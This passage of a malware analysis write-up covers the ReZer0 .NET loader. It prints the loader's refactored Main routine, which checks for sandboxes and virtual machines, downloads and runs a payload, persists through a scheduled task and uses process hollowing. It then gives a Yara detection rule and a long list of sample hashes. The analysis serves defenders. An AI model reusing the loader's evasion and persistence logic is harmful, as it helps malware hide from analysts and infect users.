Upon refactoring the fields in the main function, as well als all called functions, one can clearly see the loader’s capabilities in a single overview. The refactored code is given below.

```
public static void Main()
{
        string location = Assembly.GetEntryAssembly().Location;
        if (MainClass.shouldSleep == 1)
        {
                Thread.Sleep(30 * 1000);
        }
        if (MainClass.shouldDisplayMessageBox == 1)
        {
                MainClass.DisplayMessageBox();
        }
        if (MainClass.shouldDetectVirtualEnvirtonment == 1 &&
AntiDetection.detectVirtualEnvironment())
        {
                Environment.Exit(0);
        }
        if (MainClass.shouldDetectSandbox == 1 &&
AntiDetection.detectSandbox(location))
        {
                Environment.Exit(0);
        }
        if (MainClass.shouldDownloadAndRunPayload == 1)
        {
                MainClass.downloadAndRunPayload(MainClass.url,
MainClass.downloadedFileName);
        }
        if (MainClass.shouldSetScheduledTask == 1)
        {
                string path =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
                string fullPath = path + MainClass.fileName + ".exe";
                if (!File.Exists(fullPath))
                {
                        File.Copy(location, fullPath);
                        MainClass.setScheduledTask(MainClass.fileName, fullPath);
                }
        }
        if (MainClass.launchEnum == 4)
        {
                MainClass.directlyLaunchPayload();
        }
        if (MainClass.launchEnum != 4)
        {
                MainClass.launchPayloadHollowedWrapper(MainClass.launchEnum);
        }
}
```

The sleep option, and duration, is used to evade some dynamic controls, as it simply waits. A system where teh sleep function is patched to not wait would avoid the delay in execution, as there is no further check. The loader has the capability to show a message to the user, which could be used to display a fake error message.

The detection of virtual environments and sandboxes avoids the execution within analysis environments, unless these are hardened to a certain degree. The option to persist using a scheduled task allows the malware to set the loader within the start-up, which is likely more concealed than the actual malware.

At last, one of the execution methods is chosen, where the payload is downloaded and executed as a new process, it is loaded into the current process' memory, or it is injected into a hollowed instance of another process.

Conclusion

The features, as described above, show that the loader is capable of a variety of actions. Which actions are to be executed, depend on the predefined configuration. The decryption of the embedded payload happens directly at the startup of the loader, as the byte array is defined as a static field. As such, the decrypted payload is present in memory before any of the checks have been executed. This means that antivirus software can be potentially recognise the payload in memory before the execution happens. It also means that one can set a breakpoint on the field of the byte array and dump the value its value to a new file. This evades the loader's additional checks completely.

Finding more samples

To find more samples, one can use the following rudimentary Yara rule.

```
rule ReZer0_simple
{
  meta:
    author = "Max 'Libra' Kersten"
    version     = "1.0"
    description = "Detects ReZer0 loader samples based on the characteristic string.
This rule also detects some files that happen to contain this string, but a filter on
filetype should avoid issues there."

  strings:
    $string1 = "ReZer0"

    condition:
      any of them
}
```

Note that there will be some false positives within the hits this rule gives. One can either modify the rule to ensure that only Dot Net binaries are included, or simply perform a file type check once the results are in. In the past few months, the following 215 Dot Net samples were found based on this rule. Note that this list is not an exhaustive list. Samples are listed in no particular order.

01a083f468e17d5da38d15907e26a71ce4ec6ee575aa5069e090e3d325f855ce
02126a53d57770a8d7ceeb49ce4d653840bb9fd27cf89cb6e03c7b7825e83aec
037edb7f6b7be6eac0b9b858bd7bbb7fec6864c32a6e4f5e542557c395d130e5
03c27b0f45e222123d76ed5a54538bb27ae2739644567985c8f52216b783116d
03cb9a030d70871b55b2b60be423496a52d536dbd07a94b5597d7395cd0ec130
0427ebb4d26dfc456351aab28040a244c883077145b7b529b93621636663a812
0567fc5975496aae7239c54d82cf8c7ca02324c3cf69f3e03bc1ed4bb7615e38
0594281f0bf26b63e806ab6463111cb414bb227be98ed9c864921e028db370e7
059831a6b243de4633b47450aa2056d92659954a98cd0919f784894c5f97735b
06334474b86b979e88671df791216e8f1ea69bda88132c43a7e688059bdd61c7
0874af8b719593b48b71d0dfbac611d9d3a411553952c95298eb56c83e7e65c7
0879d6bf5a0b22bbe3997db6e8d1b80277abe8ecffe49797726f840a0faf1655
0ae4a17ca6b29c9777c12f706ea66538a19b46aae1adf8aeb0872a02d5152d86
0bcdcaa79f07bfeda572fd367cde1d4efd22751d5de74c3f3da94431ffbbde32
0c5a03e7fdfa7af35760ebc391397e164bd83916d3b3abecfdf0ab9914f48d5f
0d6d77c271f43365b306b4b1604d5bf1d9a657d7b68c142da9b34ce9ef9f50da
0db247297704b25ead74f6a22fce3830e47a51954d2749d22d29cff28e20dddb
122f9630b6f23058a731f70bab4f964a5a9af2c0794561c20f0b925f308ecb8b
132882f01766ee5d565f81720badae5a6501a44d475b7a6f260e7d11d63242f2
13f85e9c4a868c062366c91654bab59c8bfbb8a1c4d559a93f00c5973c6b4b4e
141716e121693ef2dfbf835ad2738e4aa03f282ec045f773a860f81fe09a7580
145a6bb84e05df55cf461b21f35a5e9683dbdfd9bc53d5b64492b81b23ac5dac
196515d80efc868e36024fa89ad8b957919c72a6cf2630a108d328d9ce334e84
1a455ce731fb03854a06a0d39341c27c1702ef2eff0669723642fb2e373a4c8a
1a675194586590cbc8a0fb73ac644ee6044df170ab3a5aa5e06413175baed53a
1b15c51ab450c1137f8d06073d4bcd250a33450b67e74a0de9ee32aadc4197ed
1cbe5684a8e5de5f1b58df53c71c52ef3efdd843894771c868ebbe5fd651c342
1db2f861a82ed5a18be099511b67d50f1109270670cff7e2f05d16f9c52731b0
1dcb387f747b57b78cfd744084b6c26c931f1d339a7495cb3b1dc847e0588a60
1e7316070f133697282add757c5b3639c52326781b86f89f89414c8938a81ba4
1e89177e0a2c338ba08c5b1b1ca542994fa4aed4f777a267bcde6c3b33192c45
2083bfde777e44dc8e6ccf02d26ae0321275b53d861f518af5dbc18eb042888e
21a3015f45ebf19aaacf11291bbeedca9066731e0b855ecbe9a8d60d68063f45
21e5e17fb0f7bc9737127faf8932b3fcd24087ea60fde886f9854fc6f8b4889f
23ffde0278f5e47344b6f3fa670bf87e4207382713cfc126b349b00dfc7def78
242de59bb0b86082a0d5aefb1b1dbd660a80ee845d29ccdf99f162fb7f80d807
2638315ffbb558ab6186967966f888a8d06bc72a8c8fe493b52c45daeae7f069
26673df0aece41d07e776bfc2681b126ceff848ee7a3ddc9008a389fac49ef7b
26fb04d6e6f799d0145067e2f394ceae049e63e534955a77ce88fae649867d24
2707399dd39fe29624d00ef2191657514b57f778eabc2514c3d0469d18e00778
2d632bc1f688e0a1bd2fb4388dadfcddecbf6440f5d5e1ff5b3e9b23fda39286
2da089882ca20b05fbaed886857178c017e77c483830825ce4931f6d326458f4
307b0a2b4d712fb1536a07501d68880c089f14d1090871125a2b00f7e24878f4
309c26b05366f76eb05ecc0136e78defb25c2126912ceaa465ea4d1481640dfa
3109f5cad61c34b0fb8cb5d206985acfd49b18c0555114a1a07c50edb5faf3c9
32d43005ed6538d97d1b0b23c2ffca32d3fae2a2ec60512185949b8f27f6af51
35ac50c7664157e39486f14ca358e4266a2afe05aad566611999d0b370ba19c4
360255607e8f7f504f50b4835446f4f237847ae20613ccf11a6cad3c511de7a0
3794564406ba74b6f80a7935a3fc237434e5d17e65a750034182abfdbaa3a1fe
386b237bfdbbd857b5ee9ec48b049f8ab78f89e8b191b20673e284ef570813f0
3acb95b8227a51a21fc62bf686ee4f0fa1e438a75b086e39f77fc4c3b899bf02
3c064e533168ecdb16668d2b718976f1c432344a9338dca096d96c7c2eff5fe6
3c1eb274d9837f8f7388e9718fe3d502209348f8c815d91f1542e986196a3dda
3f39da1d33231e5e5e350ad3c4b9793f8c11bb070a59332fc96d402a9af2d620
3fd12193ca5410c78d2b40f626472dcfd10af1f910be801fbd9b8305d4536f5a

4032835913b5dbdd4d6939af499bb3524b65eb6168854b479a254c43f2cbfeb1
40b456fda43b1814c0ebae14e6f738c2a40c9021ef182ea37ad9c0d8a090988c
41f684a6e95b6b1d86123dfa86f49e9b0e067df1ea86a23670212a3d3acfff35
425c87caaf0c770da2445fa1a8373a0a212e318804e2ca27c6164406f9bb8528
4272f3e3e24fb2a3b5322911cfe576ae94cbd359714f0f14a906fba73542d073
42939c6924ca953643445380a1cb4cb9d8b6a7175d4de25c9f9e874d03d1297d
4302db9abfecf47efd98b77d57ed0a1188f645f63493b3eeb97670e3bc2305df
4372059a9390e87f7545a768aee891ede629933e1f72866d02063921f5b82c4c
43d334c125968f73b71f3e9f15f96911a94e590c80955e0612a297c4a792ca07
460bc024c65521a5c83ac2cb7c5c49fee25320e9d00e8f7de315d1966096586b
46222f6e314780cc9163276be59a66b966700193eb61aaf68b44a0c1166ef0aa
463c02635e0c169bc9c5b7af2e02dabfc86f6026c9ed76633504bbdf4b360e06
4756ba58fb2d8021a0716fe8f94948dbd1cc05d9819943e268d04706ee299b4e
4968355153e18118bafcd4492e2781a3166972841a0bc21daeb4da9e71d5d194
4b07511148ec8abb1c7589a91acca7120284dc53ff876c187567baf54fe619c7
4bf81de605db9154fabe31aceb662c0b6bcc527df5f31ec54557f2dafc566300
4c9a4fd69b74584c1e2b706640aeeff23dca3c5c06cf5d8e8c28accccb2c3f9e
4fa975b614bfcd6810dbbebec3d3ecccdeea616a5b2ea557180c33a05d7e8185
4ffdb2b7c2128314a0e2c0e73fc0f4fb7c27fee7316e6df3a3b9068b9960daf8
506d817f0cc6319d836dcca44e1e7411550391f2667f85da037f38ec5ec12b07
531048dbd5a9c25bd66cdfa75dcd34a8073f57a8bcf42e817c99b20d72ab92b7
543c2d969fd1a253c4f31b466cf6113aaa83b5152651a49b5317aedfc02365c4
54dcaf9ca6d34225223e050bc57b552b1f42b4e3f5020e0657591667f1cc3661
586566b4fd7cfe8594a50d84627d99145f38bfd43015c321f8fa35dca77a39e5
598ae303e71cd16163c79a60b798ef5f2e5f0fd9aa74b16991a335d40d38b1ac
5a309fcd09092bd21ea6215b470d439d9c2aaf875f70553aa627f4b5b41b3e38
5b1c5c6e6c90a2d393b8cdca5f13ba576771455048db2c0a2b86a10e38272e94
5db1a826ce4bf87ac4de357d38236f1525bc3cecd9b7166a672c24265f195447
5f909b33632f4d6c525b9d673528b19fba4b9a582813b195f2c8eba42eafe28c
65bc882b4c5535a2ab6bb9fd8efa09fa9830af8c6e3139652a218569cb7d6c8f
65cd227e755f90a9abc8c3b17be256a4f470c3289f074e5244dcaae3edfaf192
669c387e3b1a2fcdd9db5df37411f182d4666afab3c54d223bd1ae76e53210dd
675ed8df1890b0dd35274b66cf412879e06cfbefd0e90ebaad01099effa61a07
676d418357710dc9f1aec326bbb8e81d2f826d8f884f41a135e1dcc9a81aa706
6908b29b8f3c4aee485a8403d2033724e7e014f2f4273d53788284a04fd4ac8e
6c8d4b0f77c70871b34ac2f132badf8a651759d38ee25112d644d1b863d30b3b
6e7d71dc2095151550803c46a0ff09a637dff48b2fa34a822533bad35e6a1c8a
6f61c6d3721d6c2fcbd6909d478531dc94175ee70f88eba9a3a552207265e565
6fc7835f47fd33bc7d37fecc081267a5c196f446f0c5c9de852e83030b8801c2
70ddf58a281289ae72d4d1b71d53f0874a13b1475400f1c3f890063daf52f73b
70ff6f075951b90c2e8a33d04c1615a40e1582d520b7ec75cad5a07e11d2eb43
717942847e0a74f7de1b908d3edb0c77406d05505625b9117e0d03cbfbfa9952
725b0e7301361fa4f653bd3261fd41cb9960289c93035bf537642fdbd5345d1f
72f8c9d49fced2ed0b037132201d69cc08a4379e5bff8101db9abced6f06ec59
75697b293e69ef30eeb26625b4c1b01d650ecac4c634cae9c02029229bd12565
76aedc3dffef1db76c804b34edec68a7f69d6a8aac824c266edb95cf37e256f7
7739baf5ad9b83ae17427f9b4159b1eaf735e899cad986fdc853f100d833ac8c
777b034f45253bf82c2956eae77b2da80a1210f35dd5e0fc1c2874e06419a37a
7814b2a1cc586ddc6f16206eef3608af23cc464299b5ed10625851eb20c10132
799ca1f58f6215bc671bdf5a78704fad9a475f318c50552e1b1858249c104f04
7a1e0759b2176d55a2a060e1511693fe9ec2b0d3bedf5fb33b74af2f772cf9f4
7da6dc83a72d0c2224d9d283c193570317486482c5754eb17b077bb575d2e2ca
7db4b9e1e55b4874216dd98618f794d6da3294651041ce0a296057550b4e18d8
7f91e428fb1a842ebf65c3d12131e4d8049f3c43515d381a875f6d59b2246cd2
816ece321b499dd2ec270ecf3e203c179fa85e0be3778bbc4f6c10559a5f15c5

81f985a5f2ebf500ce3f6a5a2710972d49212e495a78002e02ccc0c6651b19ae
82a0c593f7f677761c48b51e542d3d9c9e22f8ae5b5924c7dafcf70d1c02eb69
82b6d44d9508383769de39d865987126e144886a27f0b86f60d83b6102f02524
8311125e5d8cd9d306fd3ced77d9d2db3a0bb4a06343f8629a1c379336f86c12
832c0ba5bd62ffc5469d7fe7c9a4006f9f6dbecc58e3b1051134029c75e25c06
834a2feb8e0de92cd9df49fde8efa69fe3f995b1328e97e0154e4580e8cd9828
861c6fd47cf1343d53ec3c1e8b3380ccb6d90d8a585cdfcc4d535c271e5491b2
87baee78bcee68c2f3408e3f25142604a7428bb23e5c532522dc8a6553e3f5c4
8aa9f6f4ec149a7d062514dc74d892eb0dc3c6d99ab14b9a4db0aaf4545ad558
8cf41f5bb50252da646e54d127e546ef7469ab60ac6b1503c5cbf932b0a8dbae
8e58e292811cf9c8bad65ce390f5bd80e34767778655549a8d375606251d08cd
93153f722d7b3edb4152b2ab39df9cbe60abd2f08d455954d7346a7a3aba69ff
93b49505d9e66e100e14da68d5d5fedd5772a8930769694f22b79a00d2fb7ce1
951867b66950ebd3c9ddfc48c1d4e19f5f4d29cb88907a20ccb0b9b4534bde06
95a7c5d248428288391106d7c5cfb756a6f8d6fcd8487bed2686f33ba929b49a
965d7ae9b056fb6aa3a2075074cfae23149451c876dc6ff98c0094b4273a2d37
96733020de3c227af482d7e1d639841e4e55a7499fd3ac301a1714da47d08077
9693cf5c737a8f5bb69135a1dcca034ae136a1025722a794289a13ec4e02f17b
976246964e4f7c3dd64aa0867384b9c75f101fe7e17fe0a31edf14401f2e69dd
97f2e151b450c57982ba85b75825a70921b6886a4531c4ca36b3c4cb0d84022e
9851c08bc9676ea3a6cd443301d39540c9692efa78445bf313eb8555fefa7293
994894669c3f37763d8563ccc54f5d221b479e18eebb138adca8e51a4d4ed6be
995d704d36f66270ce5a9e857ba990219ae8fce5c952cfd9bb8211421175fa53
9c736cdc07b69d7c8cc9754d5805513b23ecc31bf5f6747129ebdc90992cc644
9c90108e99e00227560c30650f39357010741a25e8eb59615dd7ffe11ab40bdc
9eb468cc670a874d1b1ef1528fbda9d635fee1f5f464ed738057f5860bc617b8
a09fff6fe9a91237e1c177c83b82ca90787a1cd3bc3f788b76f93d93c29ab301
a4421518998ae78586784b9112d5c3eed033e0b96236e97874a5b1bd63983481
a5b9c20140deb5e446614d701005a0292b38e7aa8c89793501ecaa92b8873f7c
a64d9529bb691533961831662eef5357b3211c3001eac191b00e9d4f9d4ef573
a699ce0401ffbbf75f06b5d80a1049d0df4cb05a9e9255b51c33e26a8d1e85bf
a91e13d39002aa788bfe354ffed938df580ae253a94779899b114406efecfe57
add54ba9b915fda7fc084b7cb1376d80b18e5c65537fc5948be3be839e5a4dd0
adf56bdd74eaa4fc2781ed5d5017954fe82c7c9cda1765446d45f9d6a95c6b97
ae28aba0a523834b4e65b4582ba1b904c6c6018aeeb7127a6677844afca30507
b2213fd3e5544d7d0cd916b2a647f370bdd94043d5d534c9f1642a8f56e4dcb7
b3374e53742c199040720ef71acced1aa50084beeec10a0019438be697dfe2e4
b3cc8d0df2409bd1775d4130c6fb80b8c8928919b6608c7b8744b18620ec3269
b40f2c3846aa8b98c74dc3832a6b42f4e724be89b19f77fe33a64e048c5aedf8
b41900977df0932f927f41941ba3a3bb46b9a30bf2ebabf50f2fb228349e53fd
b63deb21e5989052f68d44829f9434dedb0d3caa486d89992c2da8026a8c27c1
bb940b972d860e8d337a75dd72d42b6cf8cfbc2f7a7c9c3ee5a28a044b282f97
bc43101289317f92d229022a3457d9d3583f8838ac39e4d22375b0433b12e392
be1f9e80cd54d6b18adc48a8c703be3ee09215033dba48fc35222ee84847d855
bf74135798a8d92c26d156d371e2c0dbe928ca4798f95d286067ed8e6460be87
c03013381071aa4075322d81e33b4a27a3308eb822896338628e6ed4cf82e8ec
c11dc1f2cf0f56ff8d3c724f2da89a6ee4322abd757eacad8741d445adb46f70
c238f7533cb57a82be1b45aa5aafabb707e1a6d550bd6ac57e5cad606cbcc7d0
c266b07e32f35c2052315e46a1b5b03c0a1bef5c3190084b3c83a4d668a5446d
c6c45a792898faf5a43305ceb0594e75e898415586785d04719e609e0f960658
c8da1e1e8dc52207d2c13ad7203ed7c7dbf140b46f33bcf051b2e439c6fc0359
cc6288e031644381f4a657cf3467389556ba8a491513d623f1b956cb658ed941
cc9f4b05da1761ae612ca3d43f01372372754c51369f5dae89e31335df2cde19
cd067580559e75a1752672062c8800efde95ecf3199958f42f3a093e6f4d2348
cd3e0acd48c00160aef237d77796fc595bdfbb97f129d272f62e9fcd3669392d

cd562b62e1676f3804aa638e599fda04907dfe7cac27d3a4daab19ab89307704
ce3617d695e2973ce7d231cde8d059073779974d349efb93fd9ece1c2a3dce38
cec2799b2ab815e849d7b6a3e2117665b30280e6229a09e93dad4baafc253637
ceca379e58677e9a40263d26cf8d5a13b48b5e7ca9132a9f04cd744212320666
d0b6e1f1970d7c5226c2529b2a43e805ac3b84b1fe73d6d5f6ff4d8b8cbff9e3
d1e4e915d7a8e9048a870994fad5c6f13b060e378c700a516f0e9c1d4b1e191f
d20407ff596ff0c130423ad2e87b19b7573313bb0631c9a0b30a79d200fa8070
d3555c2dad0ed7b65262990cee241d0d38868858727caf097de2722c94b55310
d55eddb96fe9b54c7c340cdc278b7f2beb3c41a3ce2daae97dcc19ef6195ab61
d5d2a14d3c1b5f56cce643446d7323b1583e9de27f7c97989064bf382bc9666a
d6bac9c0e5b9dcb2a40448e06435fbc1b838a973356917b7822d4f761fb9c966
d75b3f4c917b197c6a5b91a84e4c38a040942304abc1ef312cf7515be1f5a4c7
d8a8f6601c4282d6d5f9dcd3c8307f1799e811332c163c9f9a59921858c60944
d942d1ecdef649c09334b0bc9bf071c328be533fcc9d1252c7b37d8c871e3f57
db2b38258707432f6ff76fec06aa4150cd8eb57994ff23863078efab2bc42e10
db317b170f63cefc08b78067bfa228b3137ef4c782349752c0574fef93547d46
dc2df1425819338890f1b7f930464403337de989ec5a915933327a61aa782567
dc70c250277197090e4c6532e8698632e93f69683f2b1885a312db1e74eb979e
dcad7a3f38f2844026e74c082b13ed0941d97d23f307af7eac217eddadc633ea
ddbf9cbb3afd10cb352908602dca634c7d9125d475b64ae9cfe00e770b5eefe7
dddf1d151c75e99e7db3d1bacd9231722f9cf6301eb3b02c54b7ab08c81052a1
df3876c45a75ae7777b2f1187965ccbe4a2c6007a428f3893c60bc7d3b8f0bd4
e265215c611c3b54c213f8fc735b55f36dff10b2b7bbeade878cc09ed8f47845
e2ca9576635581fa73563929708f85e2ffd566d959bf891574457464d16c8d99
e45e5e69d5e8f56b910a01fdf953ab64ab824723f114b98dcacfc41b90c6b72e
e47a98982a1c49904fdc7b5f858a259e87f827824debd3449ff7adfe488f593e
e4cf2714620a962a20c7fe1c08787d1ded8cc348f33961d27367dd8e21dd4d27
e505f54b2a001a237d2681f1c1acf619d300fbc555e05ff42611bbb17200194a
e59fcb2edbaa74a89dfee201757482ccbc25f067b4429da083d81c8d529cb547
e6259f36feb31953c5c0a8efc1d69c2c4da0c5042f2a05fe94c8a8f6343ba909
e74eccfad5c4682dcd6fd49591b6142e72f4a4578be0fa9de00a611f04bfa51b
e79a4eb2699d087548756b496d8acdd781456ed70a7f59c4ef2556c76a978de1
eb8a190d4aad107344cabd071b753af15efa046e3d828c6ca75995b0f376678b
ed5e53d2aa072602f725011932ae5231123d4bf4f9f6dfc5d8e48a0199521787
ef4f9107c7578d569f23d00cf843fd6de85321d9edb318dba4e23150cc18e553
efe02909ea9de84674a71d7b94d44fbd2740cf4e5cabd2a8a7bdcca64a1890d3
f0abdfa1b94bead0a15d9e7bc4936584a5b429907a6e387057d33d2cd2af2623
f0d3b72420ac70a5f588714fa74c3cf208cc50a230ac9bdcb6e45539fce59f54
f1a3f2342a4ac220bae32105a0ba6d184c62592521b235bb441dfb69a62fe128
f252f9171c9090d790de9b83b17de7a91487831f4466bd3211613a8bdf859349
f3645898e7a5007198e45532154fbb21c02f8082f0a1c1d0bacb5f71e060dcd4
f3d31c8437fbd7323084a5857fb595dddd9e5eaeaaeda5e8300447258ce1411e
f40da9b9051827d10c60a46282991766577042031f4137c8a6f4103a9e70a9d4
f56be0122d17f05ab4204cdaca92b3de8ff19565a6dcd47968fb105cdc76c663
f76cadb9b5184b8ab706e1663fc914963d929b243c6d05952af859981f87651e
f8e4776f34205dee4cc0b3b8c8b1d48e54267eaf9f9134c352fc3db146380ac6
fa3a810a2d1b136c294680a9f4bbc2e4f4e23450f60dea6bf0ab552f6d225df7
fea7212ee125154df700ea97977650757c407e42de052bf5be4782d452a0c817
febed3a1a4bc182dd6687942266b8472528431f149fb76bb050d692ccd30f591
fee200315c5484c9b66e1070590d8988df8fe28f85a9a2c8d5d0350529ce9d9a